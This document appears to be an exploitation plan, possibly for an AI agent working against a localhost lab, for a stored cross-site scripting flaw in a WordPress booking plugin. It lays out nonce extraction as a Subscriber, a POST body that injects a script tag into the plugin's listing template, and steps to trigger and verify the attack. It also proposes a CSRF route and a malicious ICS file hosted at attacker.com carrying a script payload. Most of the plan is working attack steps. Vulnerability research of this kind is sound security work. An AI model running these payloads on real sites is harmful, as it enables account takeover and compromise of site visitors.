Exploitation Research Plan - CVE-2026-42751

1. Vulnerability Summary

The Booking Manager plugin (up to 2.1.18) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the "Listing Template" setting stored in the database. Furthermore, it appears to allow users with Subscriber roles and above to access and modify these settings, or at least lacks a capability check during the update process. When the plugin renders events via the [booking-manager-listing] shortcode, it fetches this unescaped template from the options table and echoes it directly to the page.

2. Attack Vector Analysis

• Vulnerable Admin Page: wp-admin/admin.php?page=oplugins (Tab: listing)
• Vulnerable Parameter: wpbm_listing_template
• Authentication: Authenticated, Subscriber level or higher.
• Nonce Action: wpbm_settings_page_wpbm_form_listing
• Sink: The wpbm_ics_get_listing_row() function in core/wpbm-ics-listing.php fetches the option and returns it as part of the shortcode output without escaping.

3. Code Flow

1. Entry Point (Update): In core/admin/page-settings-listing.php, the content() method handles form submission for the form name wpbm_form_listing.
2. Processing: If $_POST['is_form_sbmitted_wpbm_form_listing'] is set, it calls check_admin_referer( 'wpbm_settings_page_wpbm_form_listing' ) and then $this->update().
3. Storage: The update() method (inherited/inferred) saves the raw HTML from $_POST['wpbm_listing_template'] into the WordPress option wpbm_listing_template via update_option().
4. Retrieval: In core/wpbm-ics-listing.php, the function wpbm_ics_get_listing_row($evnt) calls $row_template = get_wpbm_option( 'wpbm_listing_template' );.
5. Output (Sink): The $row_template is used to build the $listing_template string, which is returned by the shortcode handler wpbm_ics_get_listing(). WordPress then echoes this string to the browser.

4. Nonce Acquisition Strategy

The nonce is generated on the admin settings page. Even if a Subscriber cannot see the menu item, the plugin's architecture might allow them to access the page directly if the capability check is weak (e.g., using read instead of manage_options).

1. Identify Script Loading: The settings page is located at admin.php?page=oplugins.
2. Access Page: Use browser_navigate as a Subscriber to http://localhost:8080/wp-admin/admin.php?page=oplugins.
3. Extract Nonce: The nonce is stored in a hidden input field within the form wpbm_form_listing.
   • JS Command: browser_eval("document.querySelector('input[name=_wpnonce]')?.value")
   • Alternative: Check for localized objects if any (e.g., wpbm_settings_listing).

5. Exploitation Strategy

Step 1: Inject Malicious Template

Send a POST request to the admin dashboard to update the listing template.

• Tool: http_request
• URL: http://localhost:8080/wp-admin/admin.php?page=oplugins
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

is_form_sbmitted_wpbm_form_listing=1
&_wpnonce=[EXTRACTED_NONCE]
&_wp_http_referer=/wp-admin/admin.php?page=oplugins
&wpbm_listing_template=<script>alert(document.domain)</script><div>[SUMMARY]</div>
&submit=Save Changes

Step 2: Trigger XSS

View a page containing the shortcode.

• Shortcode: [booking-manager-listing url="https://raw.githubusercontent.com/wpdevelop/booking-manager/master/test/test.ics"] (or any valid .ics URL).
• Action: Navigate to the page where this shortcode is placed.

6. Test Data Setup

1. Create User: Create a Subscriber user.
2. Create Page: Create a public page with the shortcode:
   • wp post create --post_type=page --post_title="Calendar" --post_status=publish --post_content='[booking-manager-listing url="https://raw.githubusercontent.com/wpdevelop/booking-manager/master/test/test.ics"]'
3. Note: The URL must be a valid ICS feed for the shortcode to process the "row template".

7. Expected Results

• The POST request should return a 302 redirect or a 200 OK with a "Settings Saved" message.
• Upon visiting the "Calendar" page, a JavaScript alert showing the document domain should appear.

8. Verification Steps

1. Check Option: Verify the malicious payload is stored in the database.
   • wp option get wpbm_listing_template
2. Verify Frontend: Use browser_navigate to the Calendar page and check for the alert or the injected <script> tag in the source code.

9. Alternative Approaches

• CSRF: If the Subscriber cannot access the page to get a nonce, but the nonce check is absent or uses a predictable seed (unlikely), a CSRF attack against an Admin could be used.
• ICS Content XSS: If the template itself is not injectable, test if the ICS feed fields (SUMMARY, DESCRIPTION) are escaped. If not, an attacker can host a malicious ICS file and point the shortcode url attribute to it.
  • Payload in ICS: SUMMARY:<script>alert('XSS_FROM_ICS')</script>
  • Trigger: [booking-manager-listing url="http://attacker.com/malicious.ics"]